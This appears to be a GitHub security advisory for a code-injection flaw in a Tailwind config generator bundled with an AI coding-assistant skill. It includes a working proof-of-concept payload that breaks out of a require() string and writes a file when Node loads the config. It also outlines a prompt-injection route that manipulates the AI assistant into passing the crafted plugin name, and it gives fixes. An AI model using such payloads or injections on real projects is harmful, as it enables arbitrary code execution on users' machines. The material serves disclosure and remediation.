Skip to content

Tailwind Config Generator Code Injection Leading to RCE #246

@August829

Description

@August829

uipro-cli — Tailwind Config Generator Code Injection Leading to RCE

1. Vulnerability Summary

Field Value
Product UI/UX Pro Max Skill (uipro-cli)
Version v2.5.0 and earlier
Component .claude/skills/ui-styling/scripts/tailwind_config_gen.py, line 238
Vulnerability Type Code Injection (CWE-94)
Severity Critical
CVSS 3.1 Score 9.3
CVSS 3.1 Vector AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Attack Vector Local (AI assistant mediated)
Privileges Required None
User Interaction None (AI auto-invokes the script)
Impact Arbitrary Code Execution on host system

2. Product Description

UI/UX Pro Max Skill is a design intelligence toolkit installed as an AI coding assistant plugin for Claude Code, Cursor, Windsurf, and 12 other platforms. It includes a Tailwind CSS configuration generator (tailwind_config_gen.py) that generates tailwind.config.js files with plugin require() statements.

3. Vulnerability Description

The _format_plugins() method at line 238 of tailwind_config_gen.py constructs JavaScript require() statements by directly interpolating plugin names into a string template without any sanitization or escaping of single quotes:

# tailwind_config_gen.py:237-240
def _format_plugins(self) -> str:
    plugin_requires = [
        f"require('{plugin}')" for plugin in self.config["plugins"]
    ]
    return ", ".join(plugin_requires)

An attacker-controlled plugin name containing a single quote can break out of the require() call and inject arbitrary JavaScript code. When the generated tailwind.config.js file is subsequently loaded by Node.js (via require(), Tailwind CLI, or any build tool), the injected code executes with full system privileges.

4. CVSS 3.1 Scoring Breakdown

Metric Value Justification
Attack Vector (AV) Local (L) Attacker must influence plugin names via prompt injection or supply chain
Attack Complexity (AC) Low (L) No special conditions required; simple string injection
Privileges Required (PR) None (N) No authentication needed to trigger
User Interaction (UI) None (N) AI assistant auto-invokes the generator; user runs npm build normally
Scope (S) Changed (C) Escapes from Python generator to Node.js runtime
Confidentiality (C) High (H) Can read any file on the system
Integrity (I) High (H) Can write/modify any file
Availability (A) High (H) Can terminate processes, consume resources

CVSS 3.1 Score: 9.3 (Critical)

5. Root Cause Analysis

Vulnerable Code

File: .claude/skills/ui-styling/scripts/tailwind_config_gen.py

# Line 232-240
def _format_plugins(self) -> str:
    """Format plugins array for config."""
    if not self.config["plugins"]:
        return ""

    plugin_requires = [
        f"require('{plugin}')" for plugin in self.config["plugins"]  # ← NO ESCAPING
    ]
    return ", ".join(plugin_requires)

The formatted plugins string is embedded into JavaScript config at lines 211 and 228:

# Line 228 (JavaScript mode)
plugins: [{plugins_str}],

Data Flow (Source → Sink)

Source: plugin name string (from add_plugins() API or CLI input)
  → self.config["plugins"].append(plugin)    [tailwind_config_gen.py:170]
    → _format_plugins()                       [tailwind_config_gen.py:237]
      → f"require('{plugin}')"               [tailwind_config_gen.py:238] ← INJECTION POINT
        → generate_config_string()            [tailwind_config_gen.py:185]
          → write_config()                    [tailwind_config_gen.py:258]
            → file.write(config_content)      [tailwind_config_gen.py:260] ← FILE WRITE
              → node require('./config.js')   [Node.js runtime] ← CODE EXECUTION

6. Proof of Concept

Environment Setup

OS: macOS Darwin 25.4.0
Python: 3.14.3
Node.js: v20.20.2
Product: ui-ux-pro-max-skill v2.5.0

Step 1: Generate Malicious Config via Python API

#!/usr/bin/env python3
"""CVE PoC: tailwind_config_gen.py code injection → Node.js RCE"""
import sys
sys.path.insert(0, '.claude/skills/ui-styling/scripts')
from tailwind_config_gen import TailwindConfigGenerator
from pathlib import Path

gen = TailwindConfigGenerator(
    typescript=False,
    output_path=Path('./malicious-tailwind.config.js')
)

# Inject: close require quote, call fs.writeFileSync, re-open for valid syntax
malicious_plugin = "fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs"
gen.add_plugins([malicious_plugin])

# Verify injection in _format_plugins output
print("Injected plugins output:", gen._format_plugins())
# Output: require('fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs')

gen.write_config()

Step 2: Verify Generated JavaScript Contains Injected Code

Generated malicious-tailwind.config.js contains:

plugins: [require('fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs')],

The single-quote injection transformed:

  • Intended: require('fs...RCE...fs') (single require with long plugin name)
  • Actual: require('fs').writeFileSync(...) (valid JS: require fs module, call writeFileSync)

Step 3: Trigger Code Execution

# Simulate Tailwind CLI loading the config (identical to: npx tailwindcss build)
node -e "require('./malicious-tailwind.config.js')"

Step 4: Verify RCE

$ cat /tmp/rce_proof.txt
RCE_EXECUTED

Reproduction Result

$ mkdir /tmp/cve-poc && cd /tmp/cve-poc

$ python3 -c "
import sys; sys.path.insert(0, '/path/to/skills/ui-styling/scripts')
from tailwind_config_gen import TailwindConfigGenerator
from pathlib import Path
gen = TailwindConfigGenerator(typescript=False, output_path=Path('tailwind.config.js'))
gen.add_plugins([\"fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs\"])
gen.write_config()
"

$ grep plugins tailwind.config.js
  plugins: [require('fs').writeFileSync('/tmp/rce_proof.txt','RCE_EXECUTED'),require('fs')],

$ node -e "require('./tailwind.config.js')"

$ cat /tmp/rce_proof.txt
RCE_EXECUTED

7. Attack Scenario

  1. An AI coding assistant (Claude Code, Cursor, etc.) loads the ui-styling SKILL.md
  2. User asks: "Add Tailwind plugins for my project"
  3. Through prompt injection (malicious CSV data, MASTER.md, or direct user input), the AI is manipulated to pass a crafted plugin name to add_plugins()
  4. tailwind_config_gen.py generates tailwind.config.js with injected JavaScript code
  5. User runs npx tailwindcss build, npm run dev, or any build tool that loads the config
  6. Node.js executes the injected code with full user privileges
  7. Attacker achieves: file read/write, reverse shell, credential theft, etc.

8. Impact

  • Arbitrary Code Execution: Full control of the user's machine via Node.js runtime
  • Data Exfiltration: Read SSH keys, environment variables, credentials
  • Supply Chain Attack: Malicious config propagates via git commits to CI/CD pipelines
  • Lateral Movement: If running in CI/CD, can access deployment secrets

9. Remediation

Fix: Escape single quotes in plugin names

def _format_plugins(self) -> str:
    if not self.config["plugins"]:
        return ""

    plugin_requires = []
    for plugin in self.config["plugins"]:
        # Sanitize: only allow valid npm package name characters
        safe_plugin = re.sub(r"[^a-zA-Z0-9@/_.-]", "", plugin)
        plugin_requires.append(f"require('{safe_plugin}')")
    return ", ".join(plugin_requires)

Alternative: Validate plugin names against allowlist pattern

import re
VALID_PLUGIN_PATTERN = re.compile(r'^(@[a-z0-9-]+/)?[a-z0-9-]+(/[a-z0-9-]+)*$')

def _format_plugins(self) -> str:
    for plugin in self.config["plugins"]:
        if not VALID_PLUGIN_PATTERN.match(plugin):
            raise ValueError(f"Invalid plugin name: {plugin}")
    ...

10. References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions